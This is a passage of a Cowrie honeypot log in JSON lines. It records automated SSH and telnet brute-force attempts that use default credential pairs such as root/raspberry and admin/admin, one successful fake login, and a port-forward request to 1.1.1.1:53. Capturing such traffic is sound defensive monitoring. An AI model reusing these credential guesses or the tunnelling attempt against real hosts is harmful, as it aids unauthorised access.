0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:35.218614Z","src_ip":"172.237.20.62","session":"fdb56af14adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:35.713484Z","src_ip":"172.237.20.62","session":"fdb56af14adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45952,"dst_ip":"159.203.135.109","dst_port":22,"session":"118524301ffc","protocol":"ssh","message":"New connection: 176.65.132.129:45952 (159.203.135.109:22) [session: 118524301ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:36.244356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:36.249159Z","src_ip":"176.65.132.129","session":"118524301ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:36.333769Z","src_ip":"176.65.132.129","session":"118524301ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:36.580722Z","src_ip":"176.65.132.129","session":"118524301ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:36.880582Z","src_ip":"172.237.20.62","session":"fdb56af14adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:37.665615Z","src_ip":"176.65.132.129","session":"118524301ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45954,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1f5b29b0853","protocol":"ssh","message":"New connection: 176.65.132.129:45954 (159.203.135.109:22) [session: d1f5b29b0853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:39.636096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:39.640043Z","src_ip":"176.65.132.129","session":"d1f5b29b0853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:39.724523Z","src_ip":"176.65.132.129","session":"d1f5b29b0853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:39.973364Z","src_ip":"176.65.132.129","session":"d1f5b29b0853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:41.183491Z","src_ip":"176.65.132.129","session":"d1f5b29b0853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.76701283454895,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:42.236227Z","src_ip":"66.132.195.55","session":"65f3795c56fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45968,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb1a34f08ca","protocol":"ssh","message":"New connection: 176.65.132.129:45968 (159.203.135.109:22) [session: 5eb1a34f08ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:43.029927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:43.034601Z","src_ip":"176.65.132.129","session":"5eb1a34f08ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:43.118182Z","src_ip":"176.65.132.129","session":"5eb1a34f08ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:43.433369Z","src_ip":"176.65.132.129","session":"5eb1a34f08ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:44.520279Z","src_ip":"176.65.132.129","session":"5eb1a34f08ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.2201406955719,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:45.924127Z","src_ip":"45.58.127.90","session":"cdf41c70b3e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48342,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd8b8c41bf8c","protocol":"ssh","message":"New connection: 172.237.20.62:48342 (159.203.135.109:22) [session: cd8b8c41bf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:45.947497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:45.952521Z","src_ip":"172.237.20.62","session":"cd8b8c41bf8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31728,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b59751fc68","protocol":"ssh","message":"New connection: 87.251.64.176:31728 (10.17.0.5:22) [session: a3b59751fc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.049103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.056267Z","src_ip":"87.251.64.176","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.112398Z","src_ip":"172.237.20.62","session":"cd8b8c41bf8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.153108Z","src_ip":"87.251.64.176","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.442924Z","src_ip":"87.251.64.176","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55208,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a49814e1b0","protocol":"ssh","message":"New connection: 176.65.132.129:55208 (159.203.135.109:22) [session: 78a49814e1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.484253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.488779Z","src_ip":"176.65.132.129","session":"78a49814e1b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.541644Z","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.573195Z","src_ip":"176.65.132.129","session":"78a49814e1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.592445Z","src_ip":"172.237.20.62","session":"cd8b8c41bf8c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.641477Z","src_ip":"87.251.64.176","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.742814Z","src_ip":"87.251.64.176","session":"a3b59751fc68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:46.820794Z","src_ip":"176.65.132.129","session":"78a49814e1b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:47.754775Z","src_ip":"172.237.20.62","session":"cd8b8c41bf8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:47.905707Z","src_ip":"176.65.132.129","session":"78a49814e1b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.541783809661865,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:48.753507Z","src_ip":"45.58.127.90","session":"122bfb4e6520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55216,"dst_ip":"159.203.135.109","dst_port":22,"session":"1610d9f0ef49","protocol":"ssh","message":"New connection: 176.65.132.129:55216 (159.203.135.109:22) [session: 1610d9f0ef49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:49.821630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:49.825621Z","src_ip":"176.65.132.129","session":"1610d9f0ef49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:49.938468Z","src_ip":"176.65.132.129","session":"1610d9f0ef49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:50.183862Z","src_ip":"176.65.132.129","session":"1610d9f0ef49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:51.268092Z","src_ip":"176.65.132.129","session":"1610d9f0ef49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55224,"dst_ip":"159.203.135.109","dst_port":22,"session":"849578a8169a","protocol":"ssh","message":"New connection: 176.65.132.129:55224 (159.203.135.109:22) [session: 849578a8169a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:53.262206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:36:53.266185Z","src_ip":"176.65.132.129","session":"849578a8169a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2